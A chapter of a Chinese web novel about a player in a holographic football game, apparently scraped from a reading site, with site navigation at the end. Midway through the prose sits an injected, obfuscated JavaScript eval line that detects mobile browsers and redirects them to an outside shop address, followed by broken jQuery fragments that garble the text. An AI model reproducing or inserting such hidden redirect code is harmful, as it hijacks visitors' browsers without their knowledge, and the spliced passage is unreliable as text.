默认冷灰
24号文字
方正启体

10. 游戏

作者:鸽德小姐本书字数:K更新时间:
    比赛一开始,获得开球权的林恩队友将球踢给穿8号背心的球员,和他配合着往前场推进。


    因为在发背心的时候就是按照各人的场上位置分发1至11号背心,林恩此刻就穿着蓝色9号背心。


    按照开球前显示出的队友们的球员技术特点介绍,林恩记得两个边锋里面穿7号的速度快、技术好、擅长盘带和内切射门,11号看词条估计技术粗糙一点,但林恩记得在他的属性里有一条是“速度奇快”,这让林恩实在有些好奇,在林恩身后的10号位上,从词条上来看,属于速度不快但能拿球推进、护球的前场组织核心。


    边往前场球门的方向跑去,林恩边在心里面问新手指引:“为什么只能够看到对方球员的词条属性?难道不应该是直接看到对方套用的是哪一个球星卡吗?”


    新手指引的回答让林恩无言以对:“这种组队模式下,队员之间彼此都是陌生人,难道你听了个名字,你就能知道他踢什么位置、有什么特长吗?”


    林恩被问住了,想了想确实啊,模拟踢野球的情况,除非是多次合作、很熟悉的球友,否则大部分人对于他人的技术特点也是不清楚的。


    不过就算理智上能理解,林恩嘴巴上还是不肯服软,几乎是自言自语地嘀嘀咕咕着:“都星际时代了,在全息世界里踢足球,为什么还要在这些细节上面和地球时代的现实踢球情况做到1:1还原啊……”


    虽然心理活动很频繁,但林恩也没耽误现实里的活,看到8号将球交到7号的脚下,林恩看了一眼自己左右两侧的对手防守球员站位,开始快速向前场跑去,同时注意保持不处在越位位置上,并且时不时的他还要扫一眼11号和其他己方球员的站位。


    注意到对方左后卫已经上前逼近己方7号球员,林恩立刻往7号的方向靠近了一点,但他一动,对方的右中卫立刻上前几步,同样往他的方向靠了过来,同时还注意切断了林恩和11号之间的传球路线。


    7号球员护着球,想要尝试突破,但在他的身后,红队的6号正朝他逼近。


    林恩扫了一眼,注意到己方8号不知不觉跑到了大禁区弧顶,心念一动,左手背到身后,打手势朝8号球员示意,让他往右靠。


    8号球员的动作果然吸引了红队6号的注意力,他离开了既定路线,稍稍逼近中路。


    林恩又一次扫视半场,发现己方的后卫们一个上抢的都没有,全部老老实实地待在自家的半场内,现在别说形成多打少的局面了,自己这边的蓝队才是被打的那个“少”。


    11号球员突然在禁区线上内切靠向林恩的方向,林恩眼前一亮,上下跑动了两下,没别的,就是玩,勾一下对手中卫的注意力。


    11号球员跑到了林恩身边只有几米初,林恩状似要和他说话,刚往那边走了两步,忽然折返跑向自家8号球员附近,一下子让对方的右中卫和过来协防的6号后腰出现了意见上的不统一。


    就在这个瞬间,7号球员忽然右脚将球一踢,看似要强行突破,在对方左后卫重心往□□打算跟着他移动的下一刻,他又踩住了已经开始滚动的皮球,同时用内脚背轻巧地一推,足球从防守球员两腿间滚向了林恩!


    穿裆过人!


    林恩比踢出这脚好球的7号球员还激动,但他知道现在不是激动的时候。


    此刻林恩的前后左右都是人,己方的8号和对手三名球员集中在这一片区域内,最远的对手离自己也不到5米距离。


    几乎来不及多想,林恩一脚挑起球,一步上前在对方防守球员还未落位之前,上前搓出了一脚过顶球,将球往禁区左侧传去。


    11号没有错过林恩创造的机会,在最后一名拖后中卫不得不补位上抢的情况下,在几乎无人盯防的禁区,抢在出击的门将将球踢中之前,倒地将球铲向了球门方向!


    进球有效的哨声响起,球场上响起了类似广播一样的声音:“场上比分蓝队0:1红队,进球的是11号球员,助攻的是9号林恩!”


    林恩一愣,还有这样的播报啊?


    在庆祝进球的队友中,林恩在心里问新手指引:“这个游戏必须实名玩吗?唉,用真名感觉羞耻感有点过了……”


    作为地球时代的老古董玩家,林恩对于在游戏里面被人喊出自己的真名是真的很不习惯,甚至感到了一种恐惧。


    新手指引没有想到林恩会问他这个问题。不过他很快告诉林恩,可以在结束了新手指引后去面板的设置里面修改他在游戏中使用的名字。


    “好的,好的。”林恩轻轻舒了一口气,和自己的队友们重重拥抱在一起,然后才朝着中圈跑去,等待对方球员开球。


    再次开球后,对方朝着己方球门展开了激烈的进攻,林恩本来向中场回撤了一点,但后面注意到场上的其他中前场球员都没有向后撤的,这让他不得不在心里感慨了一句,训练场上人机的模式确实有些僵化。


    尽管这一场比赛林恩最终取得了一传一射的成绩,帮助球队以3:2拿下了这场比赛,但说实话,他踢得并不是很满意。


    他也很想知道,不在人机的训练模式下,而是直接和其他玩家展开这样类似于野排的玩法。会是怎样的一个情况?林恩期待可以和场上的其他位置的球员,通过语言或眼神的方式进行沟通,而这些在人机的训练模式中,经过他的实验几乎是不可能达成的。


    或许游戏的设计者也意识到这个问题,所以在结束了训练场的模式之后,新手指引直接将林恩引导向了球场的二级目录里面的“比赛场”。


    进入比赛场之后,是和训练场差不多的布局,但是肉眼可见的,球场多了不少。


    新手指引对林恩说,这里就是非人机的训练场,在这里的每一块场地,他遇到的都是玩家。


    同样也是包括队伍模式和单人模式


    在林恩兴冲冲地想要去排单人模式之前,新手指引又再次接管了林恩的操作,将他引回到了游戏全开始的界面。


    “在结束整个新手指引之前,现在是时候来面对你的最后一张球员卡。”


    “啊?”林恩没有想到,怎么还有抽卡的环节。而且如果要抽卡的话,难道不应该是去到卡池里面吗?为什么会是在游戏开始的界面呢?


    在林恩的面前,一张没有底色的、纯白的卡片出现了。


    一道光芒笼罩向林恩的全身,在光芒散去之后,一道由光芒组成的、与林恩一模一样高矮胖瘦的身影出现在林恩的面前。


    它朝着那一张白色的卡片走去,最后跃起,化作数不尽的光点,消失在那个卡片之中。


    这张白卡浮起,最后飘向林恩的面前,落在他的掌心上。


    林恩,稀有度?级。


    活跃区域:???


    场上位置:???


    技术特点:???


    林恩有些愕然,这张卡是起什么作用的?数值是参照他本人设定的吗?为什么场上位置和技术特点都是问号?


    这样想着,他也将自己的疑惑向新手指引提了出来。


    新手指引告诉林恩,这张卡代表的是他本人的可能性。


    在他不断地使用其他球员卡踢球的时候,也会累加代表他本人的这张白卡的经验值——尽管这个经验值不会显示在卡面上——当经验值达到一定程度的时候,这张白卡上面,场上位置就会相应增加。而技术特点则完全凭借球员本人在完成比赛时候的表现,同样是累积到一定经验值的时候,会生成属性词条。


    林恩点了点头表示自己明白了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028872|194481||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    新手指引到此结束,在结束之前,他对林恩说的最后一句话是:“希望你尽情享受全息足球游戏。”


    本来在游戏的体验过程中,林恩积攒了一些不吐不快的点。当然因为Ban位的那句吐槽引出了不可控的后果之后,林恩多少憋住了一点自己的吐槽欲。可是新手指引就这么消失,他还是感到了一点轻微的失落。


    但很快林恩就将这种失落感抛在了脑后,他想起了很多在新手指引的引导下,他没能够尽兴玩个够的内容。


    目光在控制中心的目录上移动着,林恩首先选择进入卡池,他回忆起自己之前在抽卡时,很想知道卡池的覆盖范围。


    结果有一些和他预期不一样的,林恩一开始以为自己在新手指引下的两次抽卡,抽的卡池是不同的,可事实上两个“英超盛世”卡池,无论是从时间覆盖范围,还是从卡池里面拥有的各级球员卡数量来说都是一模一样的,甚至连抽中各级球员卡的概率也是一样的。


    这就让林恩有些疑惑了,难道说这两个卡池唯一的区别就只是抽取方式,或者说使用的抽卡道具不一样吗?


    第一个疑问似乎得到了解决,但又产生了新的问题,似乎压根没有得到解决。


    带着这样的疑惑,林恩回到了主目录,这一次,他点进了球场,再次进入了练习场。


    林恩决定将卡池的疑问抛在脑后,先一张卡一张卡地和自己手上现有的球员卡进行磨合。


    首先就从巴洛特利开始吧,刚才在队伍模式里面,他觉得自己没有踢尽兴。但现在他,他完全可以体验巴洛特利的身体,体验巴洛特利的精彩进球。


    就这样一张张球员卡熟悉过去,其实林恩也回过味来,为什么在之前的队伍模式,自己会晕成那样。


    一开始在体验佐拉这张卡的时候,林恩虽然再度意识到了球员身高带来的视角高度上的差异,但或许是因为佐拉是小技术非常优秀的球员,尽管林恩对于这个身体条件有些不适应,但在面对足球的时候,他很快就沉浸地投入进了赛场上的情况,所以林恩并不会感觉到有什么特别别扭的地方。


    在佐拉之后,林恩又先后模拟体验了阿尔沙文和纳尼两张球员卡,说实话,阿尔沙文跑起来是真快,但是和赖特·菲利普斯的快又是不一样的。


    如果让林恩来形容的话,他会说赖特·菲利普斯是一种像闪电般迅捷地劈向底线的直上直下的快,那阿尔沙文其实更像是一种清风,是飘忽的、琢磨不定的。


    这非常有意思,其实就林恩自己体验的感觉来说,阿尔沙文跑起来的时候,有一种猛虎下山的气势,或许是他长年在担任泽尼特和俄罗斯国家队队长培养出来的气势,但这种气势让一些年轻后卫在面对阿尔沙文的时候,往往心理上就弱了一截。


    但不知道是否阿尔沙文的小技术更为优秀,又或者说他本人并不是很喜欢身体上的对抗,所以尽管真要对抗的时候阿尔沙文并不是特别怵,但他并不太乐意主动去寻求对抗,这就让阿尔沙文更多的是选择利用自己优秀的节奏感和变向能力,去预判从而摆脱后卫。


    为了确认自己对阿尔沙文和赖特·菲利普斯的判断正确与否,刚刚体验完阿尔沙文,林恩再次取出了赖特·菲利普斯的球员卡,进行体验。


    也就是在这一次模拟了赖特·菲利普斯之后,林恩掏出了克劳奇这张球星卡。


    一“成为”克劳奇,林恩就感觉到了一种不自然,视角高度上的差异,以及克劳奇本人因为过长的手脚导致的在带球时的轻度不协调——又因为林恩前面模拟体验的几名球员全部都不高、脚下技术还行,两者之间形成了鲜明的对比,而这种对比,以一种激烈的形式,反馈在了林恩的身上。


    林恩再一次被弹出了球场。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)